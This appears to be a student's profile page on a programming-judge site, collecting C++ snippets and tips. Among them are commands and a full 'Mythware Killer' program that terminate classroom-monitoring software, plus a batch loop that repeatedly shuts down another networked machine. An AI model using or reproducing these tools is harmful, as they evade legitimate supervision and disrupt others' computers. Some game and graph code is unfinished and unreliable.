-
个人简介
Hydro高级玩家(样式原创)旱鸭子麻将机印花机麻将机家禽蛋麻将机螳螂肉麻将演艺界麻将结肠炎麻将机
其他
一些链接
游戏类
Eaglercraft - IMC.RE汉化1 IMC-EaglerX 1.8 IMC.RE MC-Online
Minecraft网页版集合1 IMC.RE ? 群组网络(Minecraft网页版集合2)
高精度
#include <iostream> using namespace std; const int maxn = 114514; int a[maxn], b[maxn], res[maxn]; // 前提条件: s1, s2 >= 0 string add(string s1, string s2) { // 初始化部分 int n = s1.length(), m = s2.length(); for (int i = 0; i < n; i++) a[i] = s1[n-1-i] - '0'; for (int i = 0; i < m; i++) b[i] = s2[m-1-i] - '0'; int len = max(n, m) + 1; for (int i = n; i < len; i++) a[i] = 0; for (int i = m; i < len; i++) b[i] = 0; for (int i = 0; i < len; i++) res[i] = 0; // 处理部分 for (int i = 0; i < len; i++) { res[i] += a[i] + b[i]; if (res[i] >= 10) { res[i+1] += res[i] / 10; res[i] %= 10; } } // 返回部分 int i = len - 1; while (res[i] == 0 && i > 0) i--; string s = ""; for (; i >= 0; i--) { char c = (char)(res[i] + '0'); s += c; } return s; } // 前提条件: s1 >= s2 >= 0 string sub(string s1, string s2) { // 初始化部分 int n = s1.length(), m = s2.length(); for (int i = 0; i < n; i++) a[i] = s1[n-1-i] - '0'; for (int i = 0; i < m; i++) b[i] = s2[m-1-i] - '0'; int len = max(n, m); for (int i = n; i < len; i++) a[i] = 0; for (int i = m; i < len; i++) b[i] = 0; for (int i = 0; i < len; i++) res[i] = 0; // 处理部分 for (int i = 0; i < len; i++) { res[i] += a[i] - b[i]; if (res[i] < 0) { res[i+1]--; res[i] += 10; } } // 返回部分 int i = len-1; while (res[i] == 0 && i > 0) i--; string s = ""; for (; i >= 0; i--) { char c = (char) (res[i] + '0'); s += c; } return s; } // 前提条件:s1, s2 >= 0 bool cmp(string s1, string s2) { int n = s1.length(), m = s2.length(); int i; for (i = 0; i < n-1 && s1[i] == '0'; i++); s1 = s1.substr(i); for (i = 0; i < m-1 && s2[i] == '0'; i++); s2 = s2.substr(i); if (s1.length() != s2.length()) return s1.length() < s2.length(); return s1 < s2; } string Add(string s1, string s2) { if (s1[0] == '-' && s2[0] == '-') { return "-" + add(s1.substr(1), s2.substr(1)); } else if (s1[0] == '-') { s1 = s1.substr(1); if (cmp(s1, s2)) { return sub(s2, s1); } else { return "-" + sub(s1, s2); } } else if (s2[0] == '-') { s2 = s2.substr(1); if (cmp(s1, s2)) { return "-" + sub(s2, s1); } else { return sub(s1, s2); } } else { return add(s1, s2); } } string Sub(string s1, string s2) { if (s2[0] == '-') { s2 = s2.substr(1); return Add(s1, s2); } else { return Add(s1, "-" + s2); } } // 前提条件:s1, s2 >= 0 string multi(string s1, string s2) { // 初始化部分 int n = s1.length(), m = s2.length(); for (int i = 0; i < n; i++) a[i] = s1[n-1-i] - '0'; for (int i = 0; i < m; i++) b[i] = s2[m-1-i] - '0'; int len = n + m; for (int i = n; i < len; i++) a[i] = 0; for (int i = m; i < len; i++) b[i] = 0; for (int i = 0; i < len; i++) res[i] = 0; // 处理部分 for (int i = 0; i < n; i ++) for (int j = 0; j < m; j ++) res[i+j] += a[i] * b[j]; for (int i = 0; i < len; i ++) { res[i+1] += res[i] / 10; res[i] %= 10; } // 返回部分 int i = len-1; while (res[i] == 0 && i > 0) i--; string s = ""; for (; i >= 0; i--) { char c = (char)(res[i] + '0'); s += c; } return s; } // 前提条件:s1 >= 0, s2 > 0 string divide(string s1, string s2) { string s = "", t = ""; int n = s1.length(); bool flag = false; for (int i = 0; i < n; i++) { s += s1[i]; int num = 0; while (!cmp(s, s2)) { num++; s = sub(s, s2); } if (num > 0) { flag = true; char c = (char)(num + '0'); t += c; } else if (flag) { t += '0'; } } if (t.length() == 0) t = "0"; return t; } string s1, s2; int main() { while (cin >> s1 >> s2) { cout << "add:\t" << Add(s1, s2) << endl; cout << "sub:\t" << Sub(s1, s2) << endl; cout << "multi:\t" << multi(s1, s2) << endl; cout << "divide:\t" << divide(s1, s2) << endl << endl; } return 0; } // 转载自 https://www.cnblogs.com/zifeiy/p/10808934.html,有改动
解除jy网络控制
taskkill /f /im MasterHelper.exe // 以管理员身份运行 sc stop tdnetfilter
jy杀手——by***
#include <windows.h> #define press(VK_BUTTON) ((GetAsyncKeyState(VK_BUTTON) & 0x8000) ? 1:0) #define HIDE_CONSOLE void kill(){ system("taskkill /f /im StudentMain.exe"); } void start(){ system("cd C:\\Program Files (x86)\\Mythware\\极域电子教室软件 v4.0 2015 豪华版 & StudentMain.exe"); } void bc_mode(){ while (!(press('S') && press('T') && press('O') && press('P'))){ if (press('B') && press('C')){ kill(); MessageBox(NULL,"Mythware is(MAY) died.","Mythware Killer 2.0",MB_ICONINFORMATION|MB_OK); } } MessageBox(NULL,"It's now stopped.(b-c mode)","Mythware Killer 2.0",MB_ICONINFORMATION|MB_OK); } void st_mode(){ while (!(press('F') && press('U'))){ if (press('S') && press('T')){ start(); MessageBox(NULL,"Mythware is starting...","Mythware Killer 2.0",MB_ICONINFORMATION|MB_OK); } } MessageBox(NULL,"It's now stopped.(s-t mode)","Mythware Killer 2.0",MB_ICONINFORMATION|MB_OK); } /* This is where all the input to the window goes to */ LRESULT CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam){ switch(Message){ /* Upon destruction, tell the main thread to stop */ case WM_DESTROY: { PostQuitMessage(0); break; } case WM_COMMAND: { if (LOWORD(wParam) == 1){ if(MessageBox(hwnd, "Set!\nUse keybd B-C to stop Mythware\nPress keybd S-T-O-P to stop this!", "Mythware Killer 2.0", MB_ICONINFORMATION|MB_YESNO)==IDYES){ bc_mode(); } } if (LOWORD(wParam) == 2){ if(MessageBox(hwnd, "Set!\nUse keybd S-T to start Mythware\nPress keybd F-U to stop this!", "Mythware Killer 2.0", MB_ICONINFORMATION|MB_YESNO)==IDYES){ st_mode(); } } break; } /* All other messages (a lot of them) are processed using default procedures */ default: return DefWindowProc(hwnd, Message, wParam, lParam); return 0; } return 0; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ #ifdef HIDE_CONSOLE HWND hd = GetConsoleWindow(); ShowWindow(hd, SW_HIDE); #endif kill(); WNDCLASSEX wc; /* A properties struct of our window */ HWND hwnd; /* A 'HANDLE', hence the H, or a pointer to our window */ MSG msg; /* A temporary location for all messages */ /* zero out the struct and set the stuff we want to modify */ memset(&wc,0,sizeof(wc)); wc.cbSize = sizeof(WNDCLASSEX); wc.lpfnWndProc = WndProc; /* This is where we will send messages to */ wc.hInstance = hInstance; wc.hCursor = LoadCursor(NULL, IDC_ARROW); /* White, COLOR_WINDOW is just a #define for a system color, try Ctrl+Clicking it */ wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wc.lpszClassName = "WindowClass"; wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); /* Load a standard icon */ wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION); /* use the name "A" to use the project icon */ if(!RegisterClassEx(&wc)) { MessageBox(NULL, "Can't start Mythware Killer!","Error!",MB_ICONEXCLAMATION|MB_OK); return 0; } hwnd = CreateWindowEx(WS_EX_CLIENTEDGE,"WindowClass","Mythware Killer 2.0",WS_VISIBLE|WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, /* x */ CW_USEDEFAULT, /* y */ 620, /* width */ 190, /* height */ NULL,NULL,hInstance,NULL); if(hwnd == NULL){ MessageBox(NULL, "Error!","Mythware Killer 2.0",MB_ICONEXCLAMATION|MB_OK); return 0; } MessageBox(NULL,"Welcome to Mythware Killer 2.0!","Mythware Killer 2.0",MB_ICONINFORMATION|MB_OK); HWND button = CreateWindow( "BUTTON", "Stop Mythware using keybd B-C", WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 0, 0, //坐标 300, 160, //大小 hwnd, (HMENU)1, (HINSTANCE)GetWindowLongPtr(hwnd, GWLP_HINSTANCE), NULL ); if (!button){ MessageBox(NULL, "Error!", "Mythware Killer 2.0", MB_ICONERROR); return 1; } HWND button2 = CreateWindow( "BUTTON", "Start Mythware using keybd S-T", WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 300, 0, //坐标 300, 160, //大小 hwnd, (HMENU)2, (HINSTANCE)GetWindowLongPtr(hwnd, GWLP_HINSTANCE), NULL ); if (!button2){ MessageBox(NULL, "Error!", "Mythware Killer 2.0", MB_ICONERROR); return 1; } while(GetMessage(&msg, NULL, 0, 0) > 0) { /* If no error is received... */ TranslateMessage(&msg); /* Translate key codes to chars if present */ DispatchMessage(&msg); /* Send it to WndProc */ } return msg.wParam; } //C:\Program Files (x86)\Mythware\极域电子教室软件 v4.0 2015 豪华版
不定参数计算个数
/* 方法1 无需参数个数,但只能传int和double等类型 出处找不到了,但有类似的https://blog.csdn.net/lamdonn/article/details/129192959 */ #include <stdarg.h> #define ARG_T(t) t #define ARG_N(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62 ,a63, a64, a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81, a82, a83, a84, a85, a86, a87, a88, a89, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99, a100, N, ...) N #define ARG_N_HELPER(...) ARG_T(ARG_N(__VA_ARGS__)) #define COUNT_ARG(...) ARG_N_HELPER(__VA_ARGS__, 100, 99, 98, 97, 96, 95, 94 ,93, 92, 91, 90, 89, 88, 87 ,86, 85, 84, 83, 82, 81, 80, 79, 78, 77, 76, 75, 74, 73 ,72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 4, 3, 2, 1, 0) #define add(...) __add(COUNT_ARG(__VA_ARGS__), __VA_ARGS__) int __add(int count, ...) { int sum = 0; va_list v; va_start(v, count); for (int i = 0; i < count; i++) { sum += va_arg(v, int); } va_end(v); return sum; } /* 方法2 能传任意类型参数且无需传个数,但要在多个函数中处理https://blog.csdn.net/qq_50086592/article/details/137955771 */ void print(string name) {} template <typename T, typename... Args> void print(string name, string pname, T value, Args... args) { cout << name << ": " << pname << "->" << value << endl; print(name, args...); } /* 方法3 能像printf一样处理参数 https://blog.csdn.net/C0631xjn_/article/details/134720545 */ void myprintf(const char *fmt, ...) { va_list ap; va_start(ap, fmt); char str[64] = {0}; int len = vsnprintf(str, sizeof(str), fmt, ap); str[len] = 0; std::cout << str << std::endl; len = vsnprintf(str, sizeof(str), "%d", ap); str[len] = 0; std::cout << str << std::endl; va_end(ap); }
更新g++
- 一步都不能错!
删除DevC++下的MinGW64或32的所有文件,在
https://files.1f0.de/mingw
中下载最新的g++,解压到刚刚的文件夹,进入DevC++ 工具->编译选项->右上角左到右第一个加号(由文件夹添加编译器设置)->确定->完成编译错误怎么办?
- 问题:最后一步编译时编译器疯狂弹出错误,终止后发现是winver.h的[Error] stray '\377' in program,简称二进制文件编码错误
- 解决方案:检查是否将文件直接解压到MinGW64或32文件夹,否则删除并重新解压
- 问题:编译时发现windows的另外一个文件错误
- 解决方案:检查工具->编译选项->设定编译器设置选项版本是否是下载的文件的版本,否则重新第二步
半成品(原创)
马蜂修改器
#include <iostream> #include <sstream> #include <regex> #define rpt(x,l) for(int x(1),x##END(l);x<=x##END;x++) #define rwf(x,f,l) for(int x(f),x##ST(f),x##END(l);\ x##END>x##ST?x<=x##END:x>=x##END;x##END>x##ST?x++:x--) #define ID_U "[0-9a-zA-Z_$]" #define ID_ID "[a-zA-Z_$]+[0-9a-zA-Z_$]*" #define ID_WID "(?<=[^0-9a-zA-Z_$])"ID_ID"(?=[^0-9a-zA-Z_$]|$)" #define ID_WSPACE "\\s" #define ID_SPACE "[ \\t\\f\\r]" #define ID_NSPACE "(?<=\\w|$)\\s+(?=\\w|$)" #define ID_WRD "\\w|$" #define ID_LCB "\\s*\\{" #define ID_PTNL "\\{" #define ID_ELINE "\\n[\\s]*\\n" #define ID_MLNOTE "/\\*([^*]|(\\*+[^*/]))*\\*+/" #define ID_NOTE "//.*" #define CH_EPT "" #define CH_SPC " " #define CH_ENDL "\n" /* 3.缩进 */ using namespace std; const int N = 1145; vector<string> opin = { "\\+", "-", "\\*", "/", "%", "==", "!=", ">", "<", ">=", "<=", "&&", "\\|\\|", "!", "&", "\\|", "\\^", "~", "<<", ">>", "=", "\\+=", "-=", "\\*=", "/=", "%=", "&=", "\\|=" ,"\\^=", "<<=", ">>=", "\\+\\+", "--", "\\?", "\\.", "->", ",", ";" }, opout = { " + ", " - ", " * ", " / ", " % ", " == ", " != ", " > ", " < ", " >= ", " <= ", " && ", " || ", " !", " & ", " | ", "^", " ~", " << ", " >> ", " = ", " += ", " -= ", " *= ", " /= ", " %= ", " &= ", " |= ", " ^= ", " <<= ", " >>= ", "++", "--", " ? ", ".", "->", ", ", "; " }; vector<string> inputs = { CH_EPT, ID_NOTE, ID_MLNOTE, ID_ELINE, ID_LCB, ID_NSPACE, }; vector<string> outputs = { CH_EPT, CH_EPT, CH_EPT, CH_ENDL, " {", CH_SPC, }; string match(string input, string pattern) { smatch output; if (pattern.substr(0, 4) == "(?<=") { int ends = 1; for (int a = 1, b = 0; ends < pattern.size() && a > b; ends++) { if (pattern[ends] == '(') a++; else if (pattern[ends] == ')') b++; } string pattern2 = pattern.substr(4, ends - 5) + pattern.substr(ends); if (regex_search(input, output, regex(pattern2))) { return regex_replace(output.str(), regex(pattern.substr(4, ends - 5)), ""); } else if (regex_search(input, output, regex("^" + pattern.substr(ends)))) { return output.str(); } else return ""; } else if (std::regex_search(input, output, regex(pattern))) return output.str(); else return ""; } string replace(string input, string pattern, string newstr) { string result, matchs; while ((matchs = match(input, pattern)) != "") { int pos = input.find(matchs); result.append(input.substr(0, pos)); result.append(newstr); input.erase(0, pos + matchs.size()); } result += input; return result; } string input; string output; string _; int incnt, outcnt; int indent[N]; int main() { freopen("test.in", "r", stdin); while (getline(cin, _)) input += _ + "\n"; output = input; rpt(j, inputs.size() - 1) { output = replace(output, inputs[j], outputs[j]); } rwf(j, 0, opin.size() - 1) { string opo = "(?<="ID_U")"ID_SPACE"*" + opin[j] + ID_SPACE"*(?="ID_U")"; output = replace(output, opo, opout[j]); } freopen("test.out", "w", stdout); cout << output << endl; return 0; }
手搓阴乐
#include <windows.h> #include <iostream> #include <math.h> #include <string> using namespace std; class Music { private: string _music; // int repeats[32]; // int repeatdiff[32]; // int rtop = -1; int _major = C; int _speed; public: const static float FLA = 415; const static float LA = 440; const static float SLA = 466; const static float FSI = 466; const static float SI = 493.8833; const static float SSI = 494; const static float FDO = 494; const static float DO = 523.2512; const static float SDO = 554; const static float FRE = 554; const static float RE = 587.3296; const static float SRE = 622; const static float FMI = 622; const static float MI = 659.2552; const static float FA = 698.4564; const static float SFA = 740; const static float FSO = 740; const static float SO = 783.9908; const static float SSO = 932; const float VOICES[7] = {DO, RE, MI, FA, SO, LA * 2, SI * 2}; const float FVOICES[7] = {FDO, FRE, FMI, MI, FSO, FLA * 2, FSI * 2}; const float SVOICES[7] = {SDO, SRE, FA, SFA, SSO, SLA * 2, SSI * 2}; const static float A = 1; const static float B = 2; const static float C = 3; const static float D = 4; const static float E = 5; const static float F = 6; const static float G = 7; const static char RISE = '^'; const static char REDUCE = '.'; const static char SHARP = '#'; const static char FLAT = 'b'; const static char EXTEND = '-'; const static char HALF = '_'; const static char TRI = '≡'; const static char QUART = '='; const static char REST = ' '; const static char REPEAT_START = '{'; const static char REPEAT_END = '}'; const static char REPEAT_DIF = '|'; Music(string music, int major, int speed) { // memset(repeatdiff, 0, sizeof(repeatdiff)); _music = music; _major = major; _speed = speed; } void voice(string music = "") { int repeats[32]; int repeatdiff[32]; memset(repeatdiff, 0, sizeof(repeatdiff)); cout << music << ' '; if (music == "") music = _music; int repeatst = 0, times = 1, h = 0, rtop = -1; bool issharp = 0, isflat = 0; double uduration = 60.0 / _speed; for (int i = 0; i < _music.size(); i++) { if (music[i] == REPEAT_START) repeats[++rtop] = i + 1; if (music[i] == REPEAT_DIF) repeatdiff[rtop] = i; if (music[i] == REPEAT_END) { cout << endl << music << "b" << repeats[rtop] << "e" << i - repeats[rtop]<<' '; if (repeatdiff[rtop] == 0) voice(music.substr(repeats[rtop], i - repeats[rtop])); else voice(music.substr(repeats[rtop], repeatdiff[rtop] - repeats[rtop])); repeatdiff[rtop--] = 0; } if (music[i] == HALF) uduration /= 2; if (music[i] == QUART) uduration /= 4; if (music[i] == TRI) uduration /= 3; if (music[i] == EXTEND) times++; if (music[i] == REDUCE) h--; if (music[i] == RISE) h++; if (music[i] == SHARP) issharp = 1; if (music[i] == FLAT) isflat = 1; if (music[i] == REST) { Sleep(times * uduration * 1000); uduration = 60.0 / _speed, times = 1, h = 0; } if (isdigit(music[i])) { // if (issharp) int v = SVOICES[(music[i] - '0') - 1] * pow(2, h); // else if (isflat) int v = FVOICES[(music[i] - '0') - 1] * pow(2, h); // else int v = VOICES[(music[i] - '0') - 1] * pow(2, h); cout << music[i]; // Beep(v, times * uduration * 1000); uduration = 60.0 / _speed, times = 1, h = 0; } } } }; int main() { Music mainly("123 ^1^2^3 _1_2_3_4_5_6_7 _1_^1_7_6_5_4_3_2{1 _23 _1313 2 _3_4_4_3_2---4 \ 3 _4_5 _3535 4 _5_6_6_5_4---65 _1_2_3_4_---56 6 _2_3_4_5_6---77 \ _3_4_5_6_7_^---1 _^1_7_6364^1|543} _1_2_3_4_5_6_7^15^1", mainly.C, 120); Music backing(" ---1 111 ---2 222 ---3 333 ---4 444 ---5 666 ---6 777 ---7 ---1", backing.C, 120); Music a("{{{{1}}}}", a.C, 200); a.voice(); }
瑟伯代码
for /l %a in (1, 1, 100000) do shutdown /s /m \\G2 /t 10
62b0e137-86ed-4c3a-9b2c-b9006db878e0 -xivquho3ytu4j9f:fn}O+fqffh3ytu4kwjj3umuDufljxBRYh}TYFSIF~S|RYh}TYFSIF~S|6<6>5895;5. -r:6:3hh.-kn66f{67<3htr4i>kvp3htr.-mx3fqnf{;3htr.-itlf{;3htr. -gft~z:::3htr.-rnvzfskfsl6783htr. -ijxn2xj}3uw.-fsfqutwsxyfwx3nskt.-kn{jxyfw983htr. -~oir69;3htr-W<=GG:R+<PYIT==.?nrnpzs.-}9><7;3htr?7>=<:.-yzt~n7=3hqzg. -4nsij}3umu4{ti4uqf~4ni46:>>6<4xni464sni463myrq. -mfs}nzhft;Elrfnq3htr.-D3p;883hh.-D3p;883hh.
施工中...
#include <iostream> #include <windows.h> #include <vector> #include <cmath> #include <ctime> #include <map> #define isKeyPressed(nVirtKey) ((GetKeyState(nVirtKey) & (1<<(sizeof(SHORT)*8-1))) != 0) #define cursorKeyDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) #define rwf(x,f,l) for(ll x(f),x##ST(f),x##END(l);\ x##END>x##ST?x<=x##END:x>=x##END;x##END>x##ST?x++:x--) #define rpt(x,l) rwf(x,1,l) #define rpt2(x1,x2,f1,f2,l1,l2) rwf(x1,f1,l1)rwf(x2,f2,l2) #define WCHAR 8 #define HCHAR 18 #define MMM_STATIC 1 #define MMM_TRACK 2 #define MMM_KEEPAPART 4 #define MMM_PARASISTIC 8 #define MMM_ITMTRUSH 16 #define MMM_FLUTTERING 32 #define MMM_CURVEMOVE 64 #define MMM_TELEPORT 128 #define MCT_HOSTILE 1 #define MCT_NEUTRAL 2 #define MCT_AMICABLE 3 #define MAM_IMPACTOR 1 #define MAM_SHOOTER 2 #define MAM_FLASHER 4 #define MAM_SUMMONER 8 #define PTP_DAMAGING 1 #define PTP_INTERVHEALING 2 #define PTP_CTSHEALING 3 #define PTP_TOOL 4 #define PST_SHRINK 1 #define PST_EXPAND 2 #define PST_ADDEXPAND 4 #define PST_FLY 8 #define PST_UNDISPLAY 16 #define PST_WEAR 32 #define COMMON 1 #define UNUSUAL 2 #define RARE 3 #define EPIC 4 #define LEGENDARY 5 #define MYTHIC 6 #define ULTRA 7 #define SUPER 8 using namespace std; typedef long long ll; const int N = 1145; int wWindow, hWindow; long long _time; HANDLE hInput; HHOOK mouseHook; DWORD prev_mode; POINT cursorPos; HWND hwnd; RECT rect; string broadCast[] = { "A Super ", " has spawned somewhere", "You sense ominous vibrations coming from a different realm...", "Hel Beetle", "A tower of thorns rises from the sands...", "Cactus", "Here is a bright light in the horizon...", "Firefly", "A buzzing noise echoes through the sewer tunnels", "Fly", "You hear someone whisper faintly...\"just... one more game\"", "Gambler", "A big yellow spot shows up in the distance...", "Hornet", "You hear lightning strikes coming from a far distance...", "Jellyfish" "Something mountain-like appears in the distance...", "Rock" }; struct mob; struct petal; struct petal { string name, introduce; mob* droppingMob[N]; ll rarity; ll purpose; ll style; ll quantity; ll cooldown, excooldown; ll minRarity; ll damage, health, armor; ll damageMax, healthMax; ll poison, poisonDuration; ll lighting, bounces, charges; ll armorDebuff, duration;z ll flowerHealth, radius; ll flowerArmor; ll rotationSpeed; ll interval; ll knockback; ll pickUpRange; ll mobAggroRange; ll movementSpeed; ll maxMobRarity; ll damageReflection; ll overhealConversion; ll luck; ll extraDamage; ll extraRadius; ll extrasVision; ll extraPoison; ll healingBonus; ll damageHealed; ll shield; ll heal; mob* content; ll contentCnt; }; struct mob { string name, introduce; ll experienceBonus; ll movementSpeed; ll keepingDistance; ll shootingInterv; ll moveMode, attackMode; ll character, characterChanging; ll minRarity; ll health, damage, armor; ll maxHealth, maxDamage; ll poison; ll lifesteal; ll evasion; mob* summonMob; ll lightning, bounces; ll missleHealth, missleDamage, misslePoison; ll pearlHealth, pearlDamage; ll armorDebuff, duration; ll pollenHealth, pollenDamage; petal* drops[N]; double dropRanges[N]; ll appearRegions[N]; bool operator <(mob other) const { return name < other.name; } any operator [](string attrName) { #define $(x) if (attrName == #x) return &x $(name); $(introduce); $(experienceBonus); $(movementSpeed); $(keepingDistance); $(shootingInterv); $(moveMode); $(attackMode); $(character); $(characterChanging); $(minRarity); $(health); $(damage); $(armor); $(maxHealth); $(maxDamage); $(poison); $(lifesteal) } }; ll petalCnt, mobCnt; petal petals[N]; mob mobs[N]; map<string, petal> petals2; map<string, mob> mobs2; // cm("w", health, 10, damage, 10); void addAttr(string name) {} template <typename T, typename... Args> void addAttr(string name, string attrName, T value, Args... args) { if (mobs2[name]) mobs2[name][attrName] = value; else petals2[name][attrName] = value; addAttr(name, args...); } void cMob(mob _mob) { mobs2[_mob.name] = _mob; mobs[++mobCnt] = _mob; } void cPetal(petal _petal) { petals2[_petal.name] = _petal; petals[++petalCnt] = _petal; } struct Event { bool keyFstDown; bool keyDown; bool keyUp; int during; long long time; } events[0xFE]; class Button { public: Button(int x1, int y1, int x2, int y2, int id, string str, void (*onPress)(int)) { _x1 = x1 * WCHAR, _y1 = y1 * HCHAR; _x2 = x2 * WCHAR, _y2 = y2 * HCHAR; _id = id; _val = str; _onPress = onPress; } void flip() { int x = cursorPos.x, y = cursorPos.y; bool _ = _x1 < x && x < _x2 && _y1 < y && y < _y2; if (events[VK_LBUTTON].keyFstDown && _) { _onPress(_id); } } private: int _x1, _y1, _x2, _y2; int _id; void (*_onPress)(int); string _val; }; long long gettime() { SYSTEMTIME currentTime; GetSystemTime(¤tTime); return currentTime.wMilliseconds + time(0) * 1000; } void goTo(short x, short y) { SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){x,y}); } void hideCursor() { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info); } void enableCursor(HANDLE hInput, DWORD prev_mode) { hInput = GetStdHandle(STD_INPUT_HANDLE); GetConsoleMode(hInput, &prev_mode); SetConsoleMode(hInput, prev_mode & ENABLE_EXTENDED_FLAGS); } void reableCursor(HANDLE hInput, DWORD prev_mode) { SetConsoleMode(hInput, prev_mode); } void exit(HANDLE hInput, DWORD prev_mode, HHOOK mouseHook) { UnhookWindowsHookEx(mouseHook); SetConsoleMode(hInput, prev_mode); reableCursor(hInput, prev_mode); exit(0); } void getEvent() { long long t = gettime(); rpt(_Ev, 0xFE) { Event ev = events[_Ev]; events[_Ev].keyDown = isKeyPressed(_Ev); if (!ev.keyDown && events[_Ev].keyDown) { events[_Ev].keyFstDown = 1; events[_Ev].time = t; events[_Ev].during = 0; } else if (ev.keyDown && events[_Ev].keyDown) { events[_Ev].keyFstDown = 0; events[_Ev].time = ev.time; events[_Ev].during = t - ev.time + max(0, ev.during); } else if (ev.keyDown && !events[_Ev].keyDown) { events[_Ev].keyFstDown = 0; events[_Ev].keyUp = 1; events[_Ev].during = -1; events[_Ev].time = -1; } else { events[_Ev].keyFstDown = 0; events[_Ev].keyUp = 0; events[_Ev].during = -1; events[_Ev].time = -1; } } } void setMap() { } void printscreen(); void reset(); void flip(); void printInfo(); void init() { cMob({"Ant Egg", "Not yet an ant but perhaps soon", {1, 1, 2, 20, 189, 2600, 21200, }, 0, 0, 0, MMM_STATIC, MAM_IMPACTOR, MCT_AMICABLE, 150, 3, 1, COMMON, 0}); cMob({"Ant Hole", "Ants go in, and come out. Can't explain that.", {1, 1, 5, 38, 355, 5000, }, 0, 0, 0, MMM_STATIC, MAM_IMPACTOR, MCT_AMICABLE, 750, 15, 1, COMMON, 0}); cMob({"Baby Ant", "Weak and defenseless, but big dreams", {1, 2, 7, 56, 518, 7300, 56100, 6200000}, 3, 0, 0, MMM_FLUTTERING, MAM_IMPACTOR, MCT_AMICABLE, 25, 10, 1, COMMON, 0}); cMob({"Baby Fire Ant", "This ant is on Fireeeeeeeeeeeeee.", {0, 0, 4, 32, 297, 4200, }, 3, 0, 0, MMM_FLUTTERING, MAM_IMPACTOR, MCT_AMICABLE, }); wWindow = rect.right; hWindow = rect.bottom; hwnd = GetForegroundWindow(); GetClientRect(hwnd, &rect); hideCursor(); srand(time(0)); enableCursor(hInput, prev_mode); setMap(); } int main() { init(); while (true) { system("cls"); GetCursorPos(&cursorPos); ScreenToClient(hwnd, &cursorPos); _time = gettime(); getEvent(); if (events['R'].keyFstDown) { setMap(); } if (events[VK_LBUTTON].keyUp) { } } exit(hInput, prev_mode, mouseHook); }
施工中...
#include <iostream> #include <vector> #include <queue> #include <cmath> #include <map> using namespace std; /* TODO: 1.Mapping Problem ----------------- 2.All Pairs Path Problem 3.Grpah's iterator around its Topological order */ template <typename _Tp, typename _VTp> class Graph { public: struct edge { int node; _Tp weight; bool operator <(edge other)const { return weight > other.weight; } }; struct iterator { int node; priority_queue<int> __q; void _next(); _VTp operator *() const; iterator operator ++(int) { this->_next(); return this; } iterator operator ++() { iterator _ = *this; this->next(); return _; } }; private: typedef vector<vector<edge> > graphType; static const int MAX = 2147483647; static const int N = 10000; graphType _outEdge; graphType _inEdge; map<_VTp, int> _mapn; _VTp _mapv[N]; int _vn; public: template <typename __T, typename __VT> friend class SingleSPathFinder; template <typename __T, typename __VT> friend class AllPairsPathFinder; inline void clearMap() { _mapn.clear(); for (int i = 1; i < N; i++) { _mapv[i] = {}; } } Graph(): _outEdge(N), _inEdge(N), _vn(0) { this->clearMap(); } Graph(const graphType& graph): _outEdge(graph), _inEdge(N), _vn(0) { this->clearMap(); _vn = _outEdge.size(); for (int i = 1; i <= _vn; i++) { for (int j = 0; j < _vn; j++) { _inEdge[_outEdge[i][j]].push_back(i); } } } Graph(const map<_VTp, vector<edge> >& graph, _VTp* mapv, int n): _inEdge(N), _mapv(mapv), _outEdge(N), _vn(n) { for (int i = 1; i <= _vn; i++) { for (int j = 0; j < _vn; j++) { _inEdge[_outEdge[i][j]].push_back(i); } } for (int i = 1; i <= n; i++) { _mapn[_mapv[i]] = i; } for (int i = 1; i <= n; i++) { for (auto j: graph[mapv[i]]) { _outEdge[i].push_back(_mapn[j.node]); } } } void addEdge(const _VTp& start, const _VTp& end, const _Tp& weight=1) { int startn = _mapn[start]; int endn = _mapn[end]; if (startn == 0) { _vn++; startn = _mapn[start] = _vn; _mapv[_vn] = start; } if (endn == 0) { _vn++; endn = _mapn[end] = _vn; _mapv[_vn] = end; } _outEdge[startn].push_back({endn, weight}); _inEdge[endn].push_back({startn, weight}); } bool delEdge(const _VTp& start, const _VTp& end, const _Tp& weight=MAX) { int startn = _mapn[start]; int endn = _mapn[end]; if (startn == 0 || endn == 0) return false; bool (*del)(vector<edge>&, const edge&) = [&](vector<edge>& vct, const edge& _edge) { int pops[_vn]; pops[0] = 0; bool success = false; for (int i = 0; i < vct.size(); i++) { edge _edge2 = vct[i]; if (_edge.weight != MAX && _edge == _edge2) { for (int j = i; j < vct.size() - 1; j++) { vct[j] = vct[j + 1]; } break; } if (_edge.weight == MAX) { if (_edge2.end != _edge.end) pops[i + 1] = pops[i]; else pops[i + 1] = pops[i - 1] + 1; } } if (_edge.weight == MAX) { for (int i = 0; i < vct.size(); i++) { vct[i - pops[i]] = vct[i]; success |= vct[i]; } } return success; }; return del(_outEdge[startn], {end, weight}) && del(_inEdge[endn], {start, weight}); } inline void addBidEdge(const _VTp& node1, const _VTp& node2, const _Tp& weight=1) { 